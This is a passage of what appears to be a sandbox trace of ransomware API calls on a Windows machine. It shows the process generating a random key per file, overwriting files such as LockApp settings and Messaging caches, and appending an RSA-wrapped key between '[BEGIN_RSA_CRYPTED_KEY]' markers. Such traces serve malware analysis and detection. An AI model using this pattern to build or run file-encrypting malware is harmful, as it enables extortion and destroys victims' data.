lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.619] CloseHandle (hObject=0xd54) returned 1 [0196.620] WriteFile (in: hFile=0xd54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.622] CloseHandle (hObject=0xd54) returned 1 [0196.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.627] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0196.630] ReadFile (in: hFile=0xd68, lpBuffer=0x59d260, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d260*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.630] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.630] WriteFile (in: hFile=0xd68, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.631] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.631] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.631] WriteFile (in: hFile=0xd68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.632] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.632] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.632] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.632] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/RlXFxzzOWV/7z3LZ8uMeaeLATy+5XtNux8C7D2vCHvEVptodD1sUp2r8W9lhgdt\nlYQ7lDkgEgr++SYVtmtkdaHI/V2hO3l7hKHi4ZUZns8SciTgMimGSRQVljBtTSSL\nzpLI8Ju28W8EzbFNJxRndrc61PXj6myYL5RwMDVBh2zFaRqRhJ2KYohiRcZ+hrQi\nP2ThKAi4eKNAtDU3Z1bJrHprgPgm15V3jbYyB+7HMZKYNTM4vfnfBZ+qoEvlzh13\nUhPBEtmfss2a3HKxc4gEDKo24BUYGAgdev+aeVeQRobbqmN+7Dmsq6lKitcDL06h\nFrOGPShzBJ4sMx6EnptTCA==\n", pcchString=0x2e3f9a8) returned 1 [0196.632] WriteFile (in: hFile=0xd68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.633] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.633] WriteFile (in: hFile=0xd68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.633] CloseHandle (hObject=0xd68) returned 1 [0196.640] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.641] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0196.641] ReadFile (in: hFile=0xd68, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.669] SetFilePointer (in: hFile=0xd68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.669] WriteFile (in: hFile=0xd68, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.670] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.670] WriteFile (in: hFile=0xd68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.671] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.671] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.671] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.671] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LnOlBhpHV3uGkJ0/YTH5OUmk70CZd3jxQcd50XYPH9PFOaq+b6ZYW7yXvmy6zdcg\nBarc43mN5UEOkc1pBz9ZGI+AR5wPmyhN1Jvbsb5d0iE/ZPmim7t+f1ssk+vGDI0/\n2JJLGZyabLlTPT2BjEaza+WQ1bwUq9dTwBqPKm/eNEDliPFVq2/bjTb+ahpKQOPC\ni+v8Ah5Q/CUmkbLhqeWCXLLuXfpDWgBzZL4eJ+aqkiacgWUANJMyXq0LpKmtvOlx\nbdZZ5sYWyyD2cFB8Y81MDlS3aExdeuZIEUyftMUnR3qR1vLu5ljmjFAzzfbnXW/X\n9/QC9k1/v7+jB1QA21fDnw==\n", pcchString=0x2e3f9a8) returned 1 [0196.671] WriteFile (in: hFile=0xd68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.671] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.671] WriteFile (in: hFile=0xd68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.672] CloseHandle (hObject=0xd68) returned 1 [0196.674] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0196.674] ReadFile (in: hFile=0xd68, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.685] SetFilePointer (in: hFile=0xd68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.685] WriteFile (in: hFile=0xd68, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.686] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.686] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.686] WriteFile (in: hFile=0xd68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3/bwCpde0QvDgSgOhBSCqvx7vSd/ZhhVMtI+V16jb7Noaa5o699c7ScLukxDANjq\nI4QZHC5D7lOJBXJNdj7EaXPUsHTtN6PXssYsDjCgMK69laV8xnl+eowuJZSRup/E\nkfWQXGP5IConu85QXYHRBQj7aIX9nKXC/YG7NWTAR61mJGYbHZHWmcmH72GPSvdU\nIQWwnhwUffBQTH2OI6k5oxe56zoD81nj0i3ZVKHYtCcMplktAQvDxmEhhzzrrPus\nwVcAsbW0e/kvWGVoCDy5xFCTehD56Ygv04YPRgt+0ZnUJF/GPmS8HeUz3pGXPtpK\nm/Y8B4CgOf4hIVlUbDDVeg==\n", pcchString=0x2e3f9a8) returned 1 [0196.687] WriteFile (in: hFile=0xd68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.687] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.687] WriteFile (in: hFile=0xd68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.687] CloseHandle (hObject=0xd68) returned 1 [0196.688] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.688] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.689] ReadFile (in: hFile=0xd68, lpBuffer=0x59d380, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.689] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.689] WriteFile (in: hFile=0xd68, lpBuffer=0x59d200*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.689] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.689] WriteFile (in: hFile=0xd68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.690] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.690] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qyS4f+EHwCGaZ+15U+2j3vM+Zd8q2pJvBb0Zzod4ZfP4gIz10TooyIMtv0HqBu76\nH2AI8Tb7d41JtlNYU56GlO2qaZs/J5rRB6VVcQnq8xyssJxSeLiMqDrGNRdHMhYc\nWtaUqR6jCBBXetJo7TwcJ9UiRz1Jymq3yn2OTVpegH2fUtkS5zcov1dFfTR3XTsx\nnD5hr/VNvdYwex/NFQiMwvILsIL+MwUqwQ3dvJdtOGMZWCMM2b9e/42Wq4sRsP+R\nYobRISHb9+zBuHjQDIOQBa9bvRKK5vUhBRmMcvF3jk8lvV6+VaL9WY6DOLAPxWpy\nPydN7S0rfHbLOnvNfLmXnw==\n", pcchString=0x2e3f9a8) returned 1 [0196.690] WriteFile (in: hFile=0xd68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.691] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.691] WriteFile (in: hFile=0xd68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.691] CloseHandle (hObject=0xd68) returned 1 [0196.693] WriteFile (in: hFile=0xd74, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.694] CloseHandle (hObject=0xd74) returned 1 [0196.695] WriteFile (in: hFile=0xd74, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.696] CloseHandle (hObject=0xd74) returned 1 [0196.696] WriteFile (in: hFile=0xd74, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.697] CloseHandle (hObject=0xd74) returned 1 [0196.697] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\TransportIdList.setting", dwFileAttributes=0x80) returned 1 [0196.698] ReadFile (in: hFile=0xd7c, lpBuffer=0x59d240, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0196.699] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.699] WriteFile (in: hFile=0xd7c, lpBuffer=0x59d1f0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0196.699] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0196.700] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.700] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RoG0hsDmp7gYgRtdI9xYRXuf2nXNFrwC08R/UqMYwJ2gQj+plSajZo3htfzRLpoi\ns3N9IbxdLsPTe3nY+xJ7dQ8U9lcsof3LkwsLWr7Hl9S0WfhLOxkeZeBIQa+rMjjX\nkR8+3rSUzdRGxvXAmilYRVVdHG5bgIKB4tr1qSSvsLV+yL/O2aNjh+K1k25k8Mvg\nFaU943XMjq9N76w7m5zbL+SNqo3/ogYJ+hL72vMlBhhcnSmKHhRMGIdx6JhDvdYe\nVTdWegfp94YPhk77cXtGwGGb5i4Sa94Mpzda6WzomDCU+3Yn9xSN590j75nCaQyA\nA2cBTO4FPdZlnb5GwF7XGg==\n", pcchString=0x2e3f9a8) returned 1 [0196.700] WriteFile (in: hFile=0xd7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.701] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.701] CloseHandle (hObject=0xd7c) returned 1 [0196.705] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.706] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\PrivateTransportId.setting", dwFileAttributes=0x80) returned 1 [0196.706] ReadFile (in: hFile=0xd7c, lpBuffer=0x59d270, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d270*, lpNumberOfBytesRead=0x2e3f9b4*=0x4, lpOverlapped=0x0) returned 1 [0196.707] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=-4, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.707] WriteFile (in: hFile=0xd7c, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4, lpOverlapped=0x0) returned 1 [0196.708] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4 [0196.708] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.708] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.708] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.708] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.708] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5I/qjhZCcsw89Nthw1M+hS7Yx9WhiDnIKi1GpoXruh1pyD2hPcAqFcRMybYbknnt\nGwY/dRPUZ+Jl0cl6WqK5UopoU4oPDrEyJxRRKe88ajAhGp5HZQzAwqrGLWcrtT4A\nONNNBs802QGmTbdY60LZChw2fe51H76/tlx1Zm5eM+/8biq7Hk5Gwfa+TjxfUbwJ\noid6OWoH2zaP4D04j6a2jkVdtlkD5aYyoZQy/efZyfGwjUvjxVft0heiIaL2L8yD\ni77avubUBhF+VUZl9JQhnv4W4FbvCtxcla6wMhNrY2/xUwSWMEWm0qq1ds/3J+PY\n2lwhVgEDUWaBUgTNu/n4Ag==\n", pcchString=0x2e3f9a8) returned 1 [0196.709] WriteFile (in: hFile=0xd7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.709] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.709] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.709] CloseHandle (hObject=0xd7c) returned 1 [0196.711] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.last.etl", dwFileAttributes=0x80) returned 1 [0196.784] ReadFile (in: hFile=0xd7c, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x6000, lpOverlapped=0x0) returned 1 [0196.822] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=-24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.822] WriteFile (in: hFile=0xd7c, lpBuffer=0x2f33018*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f33018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6000, lpOverlapped=0x0) returned 1 [0196.823] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6000 [0196.823] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.823] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.823] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.824] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.824] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.824] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 